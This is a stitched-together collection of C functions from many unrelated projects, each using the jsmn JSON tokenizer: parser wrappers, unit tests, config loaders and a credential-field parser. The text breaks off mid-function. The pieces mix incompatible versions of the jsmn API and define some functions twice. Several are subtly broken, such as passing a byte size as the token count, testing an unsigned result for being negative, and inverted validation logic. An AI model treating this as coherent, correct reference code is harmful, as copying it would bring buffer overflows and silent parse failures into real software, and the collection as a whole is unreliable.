cell *sexpression_from_json_string(const char* json_string) {
int r;
jsmn_parser p;
jsmntok_t t[1024];
jsmn_init(&p);
r = jsmn_parse(&p, json_string, strlen(json_string), t, sizeof(t)/sizeof(t[0]));
if (r < 0) {
printf("Failed to parse JSON: %d\n", r);
return NULL;
}
if (r < 1 || t[0].type != JSMN_ARRAY) {
printf("Array expected\n");
return NULL;
}
int json_element_size;
return sexpression_from_json_token(t, json_string, &json_element_size);
}
bool isReceivedJsonValid(const char *pJsonDocument) {
int32_t tokenCount;
jsmn_init(&shadowJsonParser);
tokenCount = jsmn_parse(&shadowJsonParser, pJsonDocument, strlen(pJsonDocument), jsonTokenStruct,
sizeof(jsonTokenStruct) / sizeof(jsonTokenStruct[0]));
if(tokenCount < 0) {
IOT_WARN("Failed to parse JSON: %d\n", tokenCount);
return false;
}
/* Assume the top-level element is an object */
if(tokenCount < 1 || jsonTokenStruct[0].type != JSMN_OBJECT) {
return false;
}
return true;
}
int do_parse_json(char * buffer,int* clock)
{
int i;
int type_flag = -1;
int clock_flag = -1;
int parser_return_code;
jsmntok_t token[10];
jsmn_parser p;
for(i=0; i<10; i++) token[i].type=-1;
jsmn_init(&p);
parser_return_code = jsmn_parse(&p, buffer, token, 10);
if(parser_return_code != JSMN_SUCCESS) return ERROR;
//SZUKAJ TYPU I ZEGARA
for(i=0; i<10; i++)
{
if(token[i].type == -1) break;
if( token_string(buffer, token[i], "type") || token_string(buffer, token[i], "Type") || token_string(buffer, token[i], "TYPE") ) type_flag = i+1;
if( token_string(buffer, token[i], "clock") || token_string(buffer, token[i], "Clock") || token_string(buffer, token[i], "CLOCK") ) clock_flag = i+1;
}
fprintf(stderr,"### type_flag: %d, clock_flag: %d\n", type_flag, clock_flag);
//NIE ZNALEZIONO! BLAD
if(type_flag == -1 || clock_flag == -1 ) return ERROR;
//ZLE TYPY! BLAD
if(token[type_flag].type != JSMN_STRING && token[clock_flag].type != JSMN_PRIMITIVE) return ERROR;
int rec_clock = strtol( buffer+token[clock_flag].start, NULL, 0 );
update_clock(rec_clock);
(*clock) = rec_clock;
if( token_string(buffer, token[type_flag], "order") ) return ORDER;
else if( token_string(buffer, token[type_flag], "ok") ) return OK;
else return ERROR;
}
int test_unquoted_keys() {
#ifndef JSMN_STRICT
int r;
jsmn_parser p;
jsmntok_t tok[10];
const char *js;
jsmn_init(&p);
js = "key1: \"value\"\nkey2 : 123";
r = jsmn_parse(&p, js, tok, 10);
check(r == JSMN_SUCCESS && tok[0].type == JSMN_PRIMITIVE
&& tok[1].type == JSMN_STRING && tok[2].type == JSMN_PRIMITIVE
&& tok[3].type == JSMN_PRIMITIVE);
check(TOKEN_STRING(js, tok[0], "key1"));
check(TOKEN_STRING(js, tok[1], "value"));
check(TOKEN_STRING(js, tok[2], "key2"));
check(TOKEN_STRING(js, tok[3], "123"));
#endif
return 0;
}
int test_unicode_characters() {
jsmn_parser p;
jsmntok_t tokens[10];
const char *js;
int r;
js = "{\"a\":\"\\uAbcD\"}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r >= 0);
js = "{\"a\":\"str\\u0000\"}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r >= 0);
js = "{\"a\":\"\\uFFFFstr\"}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r >= 0);
js = "{\"a\":\"str\\uFFGFstr\"}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r == JSMN_ERROR_INVAL);
js = "{\"a\":\"str\\u@FfF\"}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r == JSMN_ERROR_INVAL);
js = "{\"a\":[\"\\u028\"]}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r == JSMN_ERROR_INVAL);
js = "{\"a\":[\"\\u0280\"]}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r >= 0);
return 0;
}
int test_simple() {
const char *js;
int r;
jsmn_parser p;
jsmntok_t tokens[10];
js = "{\"a\": 0}";
jsmn_init(&p);
r = jsmn_parse(&p, js, tokens, 10);
check(r == JSMN_SUCCESS);
check(TOKEN_EQ(tokens[0], 0, 8, JSMN_OBJECT));
check(TOKEN_EQ(tokens[1], 2, 3, JSMN_STRING));
check(TOKEN_EQ(tokens[2], 6, 7, JSMN_PRIMITIVE));
check(TOKEN_STRING(js, tokens[0], js));
check(TOKEN_STRING(js, tokens[1], "a"));
check(TOKEN_STRING(js, tokens[2], "0"));
return 0;
}
static jsmntok_t *json_tokenise(char *js, size_t len, int *arr_size)
{
int ret;
unsigned int n = 256;
jsmntok_t *tokens;
jsmn_parser parser;
jsmn_init(&parser);
tokens = calloc(1, sizeof(jsmntok_t) * n);
ret = jsmn_parse(&parser, js, len, tokens, n);
while (ret == JSMN_ERROR_NOMEM) {
n = n * 2 + 1;
tokens = realloc(tokens, sizeof(jsmntok_t) * n);
if (!tokens) {
goto error;
}
ret = jsmn_parse(&parser, js, len, tokens, n);
}
if (ret == JSMN_ERROR_INVAL) {
flb_utils_error(FLB_ERR_JSON_INVAL);
goto error;
}
if (ret == JSMN_ERROR_PART) {
/* Hmm, should we error for partial JSONs ? */
flb_utils_error(FLB_ERR_JSON_PART);
goto error;
}
/* Store the array length */
*arr_size = n;
return tokens;
error:
free(tokens);
return NULL;
}
int main(int argc, char **argv)
{
jsmntok_t tokens[1024] = {0};
jsmn_parser parser;
jsmnerr_t err;
int i,total,g=0;
group *groups;
char *data= load_file(argv[1]);
jsmn_init(&parser);
err = jsmn_parse(&parser,data,tokens,sizeof(tokens));
total = tokens[0].size;
if(err != JSMN_SUCCESS || total <= 0)
return 1;
groups = malloc(total * sizeof(group));
printf("total:%d\n",tokens[0].size);
for(i = 1; i < total ;i++) {
printf("%d\n",tokens[i].size);
if (tokens[i].size == 3 && tokens[i].type == JSMN_ARRAY) {
/*next three tokens have the group data*/
groups[g].from = atoi(&data[tokens[i+1].start]);
groups[g].to = atoi(&data[tokens[i+2].start]);
groups[g].key = &data[tokens[i+3].start];
data[tokens[i+3].end] = '\0';
group *gr = &groups[g];
g++;
printf("%d %d %s\n",gr->from,gr->to,gr->key);
}
if (tokens[i].type == JSMN_ARRAY || tokens[i].type == JSMN_OBJECT) {
total += tokens[i].size;
i+= tokens[i].size;
}
}
}
static STSStatus parse_sts_result(int bufferSize, const char* buffer, STSData* result)
{
STSData* stsData = (STSData*)result;
jsmntok_t json[256];
jsmn_parser parser;
jsmnerr_t r;
int i = 0;
int keyLen = 0;
int valueLen = 0;
const char* pKey;
const char* pValue;
jsmn_init(&parser);
r = jsmn_parse(&parser, buffer, bufferSize, json, 256);
if (r >= 0) {
for (i = 0; i < r; ++i) {
if (JSMN_STRING == json[i].type) {
keyLen = json[i].end - json[i].start;
valueLen = json[i+1].end - json[i+1].start;
pKey = &buffer[json[i].start];
pValue = &buffer[json[i+1].start];
if (0 == strncmp("AccessKeyId", pKey, keyLen)) {
snprintf(stsData->tmpAccessKeyId, valueLen+1, "%s", pValue);
}
else if (0 == strncmp("AccessKeySecret", pKey, keyLen)) {
snprintf(stsData->tmpAccessKeySecret, valueLen+1, "%s", pValue);
}
else if (0 == strncmp("SecurityToken", pKey, keyLen)) {
snprintf(stsData->securityToken, valueLen+1, "%s", pValue);
}
}
}
}
return STSStatusOK;
}
int test_partial_string() {
int r;
jsmn_parser p;
jsmntok_t tok[10];
const char *js;
jsmn_init(&p);
js = "\"x\": \"va";
r = jsmn_parse(&p, js, tok, 10);
check(r == JSMN_ERROR_PART && tok[0].type == JSMN_STRING);
check(TOKEN_STRING(js, tok[0], "x"));
check(p.toknext == 1);
js = "\"x\": \"valu";
r = jsmn_parse(&p, js, tok, 10);
check(r == JSMN_ERROR_PART && tok[0].type == JSMN_STRING);
check(TOKEN_STRING(js, tok[0], "x"));
check(p.toknext == 1);
js = "\"x\": \"value\"";
r = jsmn_parse(&p, js, tok, 10);
check(r == JSMN_SUCCESS && tok[0].type == JSMN_STRING
&& tok[1].type == JSMN_STRING);
check(TOKEN_STRING(js, tok[0], "x"));
check(TOKEN_STRING(js, tok[1], "value"));
js = "\"x\": \"value\", \"y\": \"value y\"";
r = jsmn_parse(&p, js, tok, 10);
check(r == JSMN_SUCCESS && tok[0].type == JSMN_STRING
&& tok[1].type == JSMN_STRING && tok[2].type == JSMN_STRING
&& tok[3].type == JSMN_STRING);
check(TOKEN_STRING(js, tok[0], "x"));
check(TOKEN_STRING(js, tok[1], "value"));
check(TOKEN_STRING(js, tok[2], "y"));
check(TOKEN_STRING(js, tok[3], "value y"));
return 0;
}
int test_partial_array() {
int r;
jsmn_parser p;
jsmntok_t tok[10];
const char *js;
jsmn_init(&p);
js = " [ 1, true, ";
r = jsmn_parse(&p, js, tok, 10);
check(r == JSMN_ERROR_PART && tok[0].type == JSMN_ARRAY
&& tok[1].type == JSMN_PRIMITIVE && tok[2].type == JSMN_PRIMITIVE);
js = " [ 1, true, [123, \"hello";
r = jsmn_parse(&p, js, tok, 10);
check(r == JSMN_ERROR_PART && tok[0].type == JSMN_ARRAY
&& tok[1].type == JSMN_PRIMITIVE && tok[2].type == JSMN_PRIMITIVE
&& tok[3].type == JSMN_ARRAY && tok[4].type == JSMN_PRIMITIVE);
js = " [ 1, true, [123, \"hello\"]";
r = jsmn_parse(&p, js, tok, 10);
check(r == JSMN_ERROR_PART && tok[0].type == JSMN_ARRAY
&& tok[1].type == JSMN_PRIMITIVE && tok[2].type == JSMN_PRIMITIVE
&& tok[3].type == JSMN_ARRAY && tok[4].type == JSMN_PRIMITIVE
&& tok[5].type == JSMN_STRING);
/* check child nodes of the 2nd array */
check(tok[3].size == 2);
js = " [ 1, true, [123, \"hello\"]]";
r = jsmn_parse(&p, js, tok, 10);
check(r == JSMN_SUCCESS && tok[0].type == JSMN_ARRAY
&& tok[1].type == JSMN_PRIMITIVE && tok[2].type == JSMN_PRIMITIVE
&& tok[3].type == JSMN_ARRAY && tok[4].type == JSMN_PRIMITIVE
&& tok[5].type == JSMN_STRING);
check(tok[3].size == 2);
check(tok[0].size == 3);
return 0;
}
struct hyper_container *hyper_parse_new_container(struct hyper_pod *pod, char *json, int length)
{
int n;
jsmn_parser p;
int toks_num = 100;
jsmntok_t *toks = NULL;
struct hyper_container *c = NULL;
realloc:
toks = realloc(toks, toks_num * sizeof(jsmntok_t));
if (toks == NULL) {
fprintf(stderr, "allocate tokens for new container failed\n");
goto fail;
}
jsmn_init(&p);
n = jsmn_parse(&p, json, length, toks, toks_num);
if (n < 0) {
fprintf(stdout, "jsmn parse failed, n is %d\n", n);
if (n == JSMN_ERROR_NOMEM) {
toks_num *= 2;
goto realloc;
}
goto fail;
}
if (hyper_parse_container(pod, &c, json, toks) < 0)
goto fail;
free(toks);
return c;
fail:
free(toks);
return NULL;
}
jsmntok_t * json_tokenise(char *js)
{
jsmn_parser parser;
jsmn_init(&parser);
unsigned int n = JSON_TOKENS;
jsmntok_t *tokens = (jsmntok_t *)malloc(sizeof(jsmntok_t) * n);
int ret = jsmn_parse(&parser, js, tokens, n);
while (ret == JSMN_ERROR_NOMEM)
{
n = n * 2 + 1;
tokens = (jsmntok_t *)realloc(tokens, sizeof(jsmntok_t) * n);
ret = jsmn_parse(&parser, js, tokens, n);
}
if (ret == JSMN_ERROR_INVAL)
log_err("jsmn_parse: invalid JSON string");
if (ret == JSMN_ERROR_PART)
log_err("jsmn_parse: truncated JSON string");
return tokens;
}
bool isJsonValidAndParse(const char *pJsonDocument, void *pJsonHandler, int32_t *pTokenCount) {
int32_t tokenCount;
jsmn_init(&shadowJsonParser);
tokenCount = jsmn_parse(&shadowJsonParser, pJsonDocument, strlen(pJsonDocument), jsonTokenStruct,
sizeof(jsonTokenStruct) / sizeof(jsonTokenStruct[0]));
if (tokenCount < 0) {
WARN("Failed to parse JSON: %d\n", tokenCount);
return false;
}
/* Assume the top-level element is an object */
if (tokenCount < 1 || jsonTokenStruct[0].type != JSMN_OBJECT) {
WARN("Top Level is not an object\n");
return false;
}
pJsonHandler = (void *) jsonTokenStruct;
*pTokenCount = tokenCount;
return true;
}
int test_partial_string(void) {
int i;
int r;
jsmn_parser p;
jsmntok_t tok[5];
const char *js = "{\"x\": \"va\\\\ue\", \"y\": \"value y\"}";
jsmn_init(&p);
for (i = 1; i <= strlen(js); i++) {
r = jsmn_parse(&p, js, i, tok, sizeof(tok)/sizeof(tok[0]));
if (i == strlen(js)) {
check(r == 5);
check(tokeq(js, tok, 5,
JSMN_OBJECT, -1, -1, 2,
JSMN_STRING, "x", 1,
JSMN_STRING, "va\\\\ue", 0,
JSMN_STRING, "y", 1,
JSMN_STRING, "value y", 0));
} else {
check(r == JSMN_ERROR_PART);
}
}
return 0;
}
void jstp_execute(char* txt)
{
char * data = 0;
int r;
size_t data_length;
jstp_split_path(txt,&data);
data_length = jstp_strlen(data);
jsmn_init(&p);
r = jsmn_parse(&p, data, data_length, t, JSTP_JS_TOKENS_SIZE);
if (r < 0)
{
jstp_tx_error(JSTP_FAILED_PARSE_JSON);
return;
}
r = jstp_execute_gen(txt,data,t,JSTP_JS_TOKENS_SIZE);
if (r != 0)
{
jstp_tx_error(r);
}
}
int test_keyvalue() {
const char *js;
int r;
jsmn_parser p;
jsmntok_t tokens[10];
js = "{\"a\": 0, \"b\": \"c\"}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r == 5);
check(tokens[0].size == 2); /* two keys */
check(tokens[1].size == 1 && tokens[3].size == 1); /* one value per key */
check(tokens[2].size == 0 && tokens[4].size == 0); /* values have zero size */
js = "{\"a\"\n0}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r == JSMN_ERROR_INVAL);
js = "{\"a\", 0}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r == JSMN_ERROR_INVAL);
js = "{\"a\": {2}}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r == JSMN_ERROR_INVAL);
js = "{\"a\": {2: 3}}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r == JSMN_ERROR_INVAL);
js = "{\"a\": {\"a\": 2 3}}";
jsmn_init(&p);
r = jsmn_parse(&p, js, strlen(js), tokens, 10);
check(r == JSMN_ERROR_INVAL);
return 0;
}
/*
Real work for parsing an object ({...}) from the json. Called by jw_new() and
recurses to deal with sub-objects.
*/
void* parse_jobject( void* st, char *json, char* prefix ) {
jthing_t *jtp; // json thing that we just created
int i;
int n;
char *name; // name in the json
char *data; // data string from the json
jthing_t* jarray; // array of jthings we'll coonstruct
int size;
int osize;
int njtokens; // tokens actually sussed out
jsmn_parser jp; // 'parser' object
jsmntok_t *jtokens; // pointer to tokens returned by the parser
char pname[1024]; // name with prefix
char wbuf[256]; // temp buf to build a working name in
char* dstr; // dup'd string
jsmn_init( &jp ); // does this have a failure mode?
jtokens = (jsmntok_t *) malloc( sizeof( *jtokens ) * MAX_THINGS );
if( jtokens == NULL ) {
fprintf( stderr, "abort: cannot allocate tokens array\n" );
exit( 1 );
}
njtokens = jsmn_parse( &jp, json, strlen( json ), jtokens, MAX_THINGS );
if( jtokens[0].type != JSMN_OBJECT ) { // if it's not an object then we can't parse it.
fprintf( stderr, "warn: badly formed json; initial opening bracket ({) not detected\n" );
return NULL;
}
/* DEBUG
for( i = 1; i < njtokens-1; i++ ) { // we'll silently skip the last token if its "name" without a value
fprintf( stderr, ">>> %4d: size=%d start=%d end=%d %s\n", i, jtokens[i].size, jtokens[i].start, jtokens[i].end, extract( json, &jtokens[i] ) );
}
*/
for( i = 1; i < njtokens-1; i++ ) { // we'll silently skip the last token if its "name" without a value
if( jtokens[i].type != JSMN_STRING ) {
fprintf( stderr, "warn: badly formed json [%d]; expected name (string) found type=%d %s\n", i, jtokens[i].type, extract( json, &jtokens[i] ) );
sym_free( st );
return NULL;
}
name = extract( json, &jtokens[i] );
if( *prefix != 0 ) {
snprintf( pname, sizeof( pname ), "%s.%s", prefix, name );
name = pname;
}
size = jtokens[i].size;
i++; // at the data token now
switch( jtokens[i].type ) {
case JSMN_UNDEFINED:
fprintf( stderr, "warn: element [%d] in json is undefined\n", i );
break;
case JSMN_OBJECT: // save object in two ways: as an object 'blob' and in the current symtab using name as a base (original)
dstr = strdup( extract( json, &jtokens[i] ) );
snprintf( wbuf, sizeof( wbuf ), "%s_json", name ); // must stash the json string in the symtab for clean up during nuke
sym_fmap( st, (unsigned char *) wbuf, 0, dstr );
parse_jobject( st, dstr, name ); // recurse to add the object as objectname.xxxx elements
jtp = mk_thing( st, name, jtokens[i].type ); // create thing and reference it in current symtab
if( jtp == NULL ) {
fprintf( stderr, "warn: memory alloc error processing element [%d] in json\n", i );
free( dstr );
sym_free( st );
return NULL;
}
jtp->v.pv = (void *) sym_alloc( 255 ); // object is just a blob
if( jtp->v.pv == NULL ) {
fprintf( stderr, "error: [%d] symtab for object blob could not be allocated\n", i );
sym_free( st );
free( dstr );
return NULL;
}
dstr = strdup( extract( json, &jtokens[i] ) );
sym_fmap( jtp->v.pv, (unsigned char *) JSON_SYM_NAME, 0, dstr ); // must stash json so it is freed during nuke()
parse_jobject( jtp->v.pv, dstr, "" ); // recurse acorss the string and build a new symtab
size = jtokens[i].end; // done with them, we need to skip them
i++;
while( i < njtokens-1 && jtokens[i].end < size ) {
//fprintf( stderr, "\tskip: [%d] object element start=%d end=%d (%s)\n", i, jtokens[i].start, jtokens[i].end, extract( json, &jtokens[i]) );
i++;
}
i--; // must allow loop to bump past the last
break;
case JSMN_ARRAY:
size = jtokens[i].size; // size is burried here, and not with the name
jtp = mk_thing( st, name, jtokens[i].type );
i++; // first thing is the whole array string which I don't grock the need for, but it's their code...
if( jtp == NULL ) {
fprintf( stderr, "warn: memory alloc error processing element [%d] in json\n", i );
sym_free( st );
return NULL;
}
jarray = jtp->v.pv = (jsmntok_t *) malloc( sizeof( *jarray ) * size ); // allocate the array
memset( jarray, 0, sizeof( *jarray ) * size );
jtp->nele = size;
for( n = 0; n < size; n++ ) { // for each array element
jarray[n].prim_type = PT_UNKNOWN; // assume not primative type
switch( jtokens[i+n].type ) {
case JSMN_UNDEFINED:
fprintf( stderr, "warn: [%d] array element %d is not valid type (undefined) is not string or primative\n", i, n );
fprintf( stderr, "\tstart=%d end=%d\n", jtokens[i+n].start, jtokens[i+n].end );
break;
case JSMN_OBJECT:
jarray[n].v.pv = (void *) sym_alloc( 255 );
if( jarray[n].v.pv == NULL ) {
fprintf( stderr, "error: [%d] array element %d size=%d could not allocate symtab\n", i, n, jtokens[i+n].size );
sym_free( st );
return NULL;
}
jarray[n].jsmn_type = JSMN_OBJECT;
parse_jobject( jarray[n].v.pv, extract( json, &jtokens[i+n] ), "" ); // recurse acorss the string and build a new symtab
osize = jtokens[i+n].end; // done with them, we need to skip them
i++;
while( i+n < njtokens-1 && jtokens[n+i].end < osize ) {
//fprintf( stderr, "\tskip: [%d] object element start=%d end=%d (%s)\n", i, jtokens[i].start, jtokens[i].end, extract( json, &jtokens[i]) );
i++;
}
i--; // allow incr at loop end
break;
case JSMN_ARRAY:
fprintf( stderr, "warn: [%d] array element %d is not valid type (array) is not string or primative\n", i, n );
n += jtokens[i+n].size; // this should skip the nested array
break;
case JSMN_STRING:
data = extract( json, &jtokens[i+n] );
jarray[n].v.pv = (void *) data;
jarray[n].jsmn_type = JSMN_STRING;
break;
case JSMN_PRIMITIVE:
data = extract( json, &jtokens[i+n] );
switch( *data ) {
case 0:
jarray[n].prim_type = PT_VALUE;
jarray[n].v.fv = 0;
break;
case 'T':
case 't':
jarray[n].v.fv = 1;
jarray[n].prim_type = PT_BOOL;
break;
case 'F':
case 'f':
jarray[n].prim_type = PT_BOOL;
jarray[n].v.fv = 0;
break;
case 'N': // assume null, nil, or some variant
case 'n':
jarray[n].prim_type = PT_NULL;
jarray[n].v.fv = 0;
break;
default:
jarray[n].prim_type = PT_VALUE;
jarray[n].v.fv = strtof( data, NULL ); // store all numerics as float
break;
}
jarray[n].jsmn_type = JSMN_PRIMITIVE;
break;
default:
fprintf( stderr, "warn: [%d] array element %d is not valid type (unknown=%d) is not string or primative\n", i, n, jtokens[i].type );
sym_free( st );
return NULL;
break;
}
}
i += size - 1; // must allow loop to push to next
break;
case JSMN_STRING:
data = extract( json, &jtokens[i] );
jtp = mk_thing( st, name, jtokens[i].type );
if( jtp == NULL ) {
fprintf( stderr, "warn: memory alloc error processing element [%d] in json\n", i );
sym_free( st );
return NULL;
}
jtp->v.pv = (void *) data; // just point into the large json string
break;
case JSMN_PRIMITIVE:
data = extract( json, &jtokens[i] );
jtp = mk_thing( st, name, jtokens[i].type );
if( jtp == NULL ) {
fprintf( stderr, "warn: memory alloc error processing element [%d] in json\n", i );
sym_free( st );
return NULL;
}
switch( *data ) { // assume T|t is true and F|f is false
case 0:
jtp->v.fv = 0;
jtp->prim_type = PT_VALUE;
break;
case 'T':
case 't':
jtp->prim_type = PT_BOOL;
jtp->v.fv = 1;
break;
case 'F':
case 'f':
jtp->prim_type = PT_BOOL;
jtp->v.fv = 0;
break;
case 'N': // Null or some form of that
case 'n':
jtp->prim_type = PT_NULL;
jtp->v.fv = 0;
break;
default:
jtp->prim_type = PT_VALUE;
jtp->v.fv = strtof( data, NULL ); // store all numerics as float
break;
}
break;
default:
fprintf( stderr, "unknown type at %d\n", i );
break;
}
}
free( jtokens );
return st;
}
struct json_metadata* get_json_metadata(const char* filename) {
struct json_metadata* result = malloc(sizeof(struct json_metadata));
if (result == NULL) {
fprintf(stderr, "%s: %d: malloc failed: %s\n", __FILE__, __LINE__, strerror(errno));
return 0;
}
int r;
int eof_expected = 0;
char *js = NULL;
size_t jslen = 0;
char buf[BUFSIZ];
FILE* fd = NULL;
jsmn_parser p;
jsmntok_t *tok = NULL;
size_t tokcount = 10;
/* Prepare parser */
jsmn_init(&p);
/* Allocate some tokens as a start */
tok = malloc(sizeof(*tok) * tokcount);
if (tok == NULL) {
fprintf(stderr, "malloc(): error:%s\n", strerror(errno));
goto errexit;
}
fd = fopen(filename, "rb");
if (fd == NULL) {
fprintf(stderr, "Could not open %s: %s\n", filename, strerror(errno));
goto errexit;
}
for (;;) {
/* Read another chunk */
r = fread(buf, 1, sizeof(buf), fd);
if (r < 0) {
fprintf(stderr, "fread(): %s\n", strerror(errno));
goto errexit;
}
if (r == 0) {
if (eof_expected != 0) {
break;
} else {
fprintf(stderr, "fread(): unexpected EOF\n");
goto errexit;
}
}
js = realloc_it(js, jslen + r + 1);
if (js == NULL) {
goto errexit;
}
strncpy(js + jslen, buf, r);
jslen = jslen + r;
again:
r = jsmn_parse(&p, js, jslen, tok, tokcount);
if (r < 0) {
if (r == JSMN_ERROR_NOMEM) {
tokcount = tokcount * 2;
tok = realloc_it(tok, sizeof(*tok) * tokcount);
if (tok == NULL) {
goto errexit;
}
goto again;
}
} else {
eof_expected = 1;
}
}
fclose(fd);
result->tok = tok;
result->js = js;
return result;
errexit:
fprintf(stderr, "error during json metadata parsing\n");
if (fd) {
fclose(fd);
fd = NULL;
}
if (tok) {
free(tok);
tok = NULL;
}
if (js) {
free(js);
js = NULL;
}
if (result) {
free(result);
result = NULL;
}
return NULL;
}
void
rumprun_config(char *cmdline)
{
char *cfg;
struct rumprun_exec *rre;
jsmn_parser p;
jsmntok_t *tokens = NULL;
jsmntok_t *t;
size_t cmdline_len;
unsigned int i;
int ntok;
/* is the config file on rootfs? if so, mount & dig it out */
cfg = rumprun_config_path(cmdline);
if (cfg != NULL) {
cmdline = getcmdlinefromroot(cfg);
if (cmdline == NULL)
errx(1, "could not get cfg from rootfs");
}
while (*cmdline != '{') {
if (*cmdline == '\0') {
warnx("could not find start of json. no config?");
makeargv(strdup("rumprun"));
return;
}
cmdline++;
}
cmdline_len = strlen(cmdline);
jsmn_init(&p);
ntok = jsmn_parse(&p, cmdline, cmdline_len, NULL, 0);
if (ntok <= 0) {
errx(1, "json parse failed 1");
}
tokens = malloc(ntok * sizeof(*t));
if (!tokens) {
errx(1, "failed to allocate jsmn tokens");
}
jsmn_init(&p);
if ((ntok = jsmn_parse(&p, cmdline, cmdline_len, tokens, ntok)) < 1) {
errx(1, "json parse failed 2");
}
T_CHECKTYPE(tokens, cmdline, JSMN_OBJECT, __func__);
for (t = &tokens[0]; t < &tokens[ntok]; ) {
/* allow multiple levels of object nesting */
if (t->type == JSMN_OBJECT) {
t++;
continue;
}
T_CHECKTYPE(t, cmdline, JSMN_STRING, __func__);
for (i = 0; i < __arraycount(parsers); i++) {
if (T_STREQ(t, cmdline, parsers[i].name)) {
int left;
t++;
left = &tokens[ntok] - t;
t += parsers[i].handler(t, left, cmdline);
break;
}
}
if (i == __arraycount(parsers))
errx(1, "no match for key \"%.*s\"",
T_PRINTFSTAR(t, cmdline));
}
/*
* Before we start running things, perform some sanity checks
*/
rre = TAILQ_LAST(&rumprun_execs, rumprun_execs);
if (rre == NULL) {
errx(1, "rumprun_config: no bins");
}
if (rre->rre_flags & RUMPRUN_EXEC_PIPE) {
errx(1, "rumprun_config: last bin may not output to pipe");
}
free(tokens);
}
static GList *review_echonest_parse(cb_object *capo)
{
char *json = capo->cache->data;
const int num_tokens = 512;
GList *results = NULL;
/* jasmin stuff */
jsmn_parser parser;
jsmntok_t tokens[num_tokens];
jsmnerr_t error;
/* Init the parser */
jsmn_init(&parser);
/* make sure it terminates */
memset(tokens, 0, num_tokens * sizeof(jsmntok_t));
/* Parse the json text */
error = jsmn_parse(&parser, capo->cache->data, tokens, num_tokens);
/* Some manual parsing required */
char *curr_bracket = NULL;
/* Save partial results here */
char *url = NULL, *summary = NULL, *release = NULL;
if(error == JSMN_SUCCESS) {
for(int i = 0; i < num_tokens; ++i) {
jsmntok_t *token = &tokens[i];
/* End of tokens? */
if(token->start <= 0 && token->end <= 0) {
break;
}
JSON_GET_VALUE_IF_KEY(url, "url");
JSON_GET_VALUE_IF_KEY(summary, "summary");
JSON_GET_VALUE_IF_KEY(release, "release");
char *next_bracket = strchr(json + token->start, '}');
if(next_bracket > curr_bracket) {
if(url && summary && release) {
results = add_result(results, capo, url, summary, release);
}
curr_bracket = next_bracket;
}
}
if(url && summary && release) {
results = add_result(results, capo, url, summary, release);
}
g_free(url);
g_free(summary);
g_free(release);
} else {
/* No intelligent error handling yet. */
}
return results;
}
int wheelsLoadConfig(char* configFilePath) {
// Open the configFile
long configFileSize = utilFileSize(configFilePath);
char* configFileBuffer = (char*) malloc(sizeof(char)*configFileSize);
size_t actualSize = utilReadFile(configFilePath, configFileBuffer, configFileSize);
if (configFileSize == actualSize-1) {
// Allocate space for new config
wheelsResetConfig();
wheelsConfig = (wheelsConfig_t*) malloc(sizeof(*wheelsConfig));
// Parse using JSMN
jsmn_parser configParser;
jsmntok_t configTokens[WHEELS_CONF_TOKENS];
jsmn_init(&configParser);
size_t configParseResult = jsmn_parse(&configParser,
configFileBuffer, strlen(configFileBuffer), configTokens, WHEELS_CONF_TOKENS);
if (configParseResult < 0) {
fprintf(stderr,"Error parsing config file %d\n", configParseResult);
return configParseResult;
}
//printf("configParseResult %d\n",configParseResult);
int indexOfLeftFwd = -1;
int indexOfLeftBack = -1;
int indexOfRightFwd = -1;
int indexOfRightBack = -1;
char* value = 0;
size_t valueSize = 0;
for (int i = 0; i < configParseResult; i++) {
if (indexOfLeftFwd > -1 && indexOfLeftBack > -1 &&
indexOfRightFwd > -1 && indexOfRightBack > -1) {
fprintf(stdout,"Found indexes of all config objects\n");
break;
}
jsmntok_t next = configTokens[i];
valueSize = sizeof(char)*((next.end-next.start)+1);
value = (char*) malloc(valueSize);
strncpy(value, configFileBuffer+next.start, valueSize-1);
value[valueSize-1] = '\0';
// Check tokens
if (strcmp(LEFT_FWD,value) == 0) {
indexOfLeftFwd = i;
} else if (strcmp(LEFT_BACK,value) == 0) {
indexOfLeftBack = i;
} else if (strcmp(RIGHT_FWD,value) == 0) {
indexOfRightFwd = i;
} else if (strcmp(RIGHT_BACK,value) == 0) {
indexOfRightBack = i;
}
free(value);
}
// Assign values to config
jsmntok_t target;
// LeftFwd Pin
if (indexOfLeftFwd > -1) {
target = configTokens[indexOfLeftFwd+PIN_OFFSET];
valueSize = sizeof(char)*((target.end-target.start)+1);
value = (char*) malloc(valueSize);
strncpy(value, configFileBuffer+target.start, valueSize-1);
value[valueSize-1] = '\0';
wheelsConfig->leftFwd.pin = atoi(value);
free(value);
} else {
fprintf(stderr,"Unable to find object for LeftFwd\n");
return 1;
}
if (indexOfLeftBack > -1) {
// LeftBack Pin
target = configTokens[indexOfLeftBack+PIN_OFFSET];
valueSize = sizeof(char)*((target.end-target.start)+1);
value = (char*) malloc(valueSize);
strncpy(value, configFileBuffer+target.start, valueSize-1);
value[valueSize-1] = '\0';
wheelsConfig->leftBack.pin = atoi(value);
free(value);
} else {
fprintf(stderr,"Unable to find object for LeftBadk\n");
return 1;
}
if (indexOfRightFwd > -1) {
// RightFwd Pin
target = configTokens[indexOfRightFwd+PIN_OFFSET];
valueSize = sizeof(char)*((target.end-target.start)+1);
value = (char*) malloc(valueSize);
strncpy(value, configFileBuffer+target.start, valueSize-1);
value[valueSize-1] = '\0';
wheelsConfig->rightFwd.pin = atoi(value);
free(value);
} else {
fprintf(stderr,"Unable to find object for RightFwd\n");
return 1;
}
if (indexOfRightBack > -1) {
// RightBack Pin
target = configTokens[indexOfRightBack+PIN_OFFSET];
valueSize = sizeof(char)*((target.end-target.start)+1);
value = (char*) malloc(valueSize);
strncpy(value, configFileBuffer+target.start, valueSize-1);
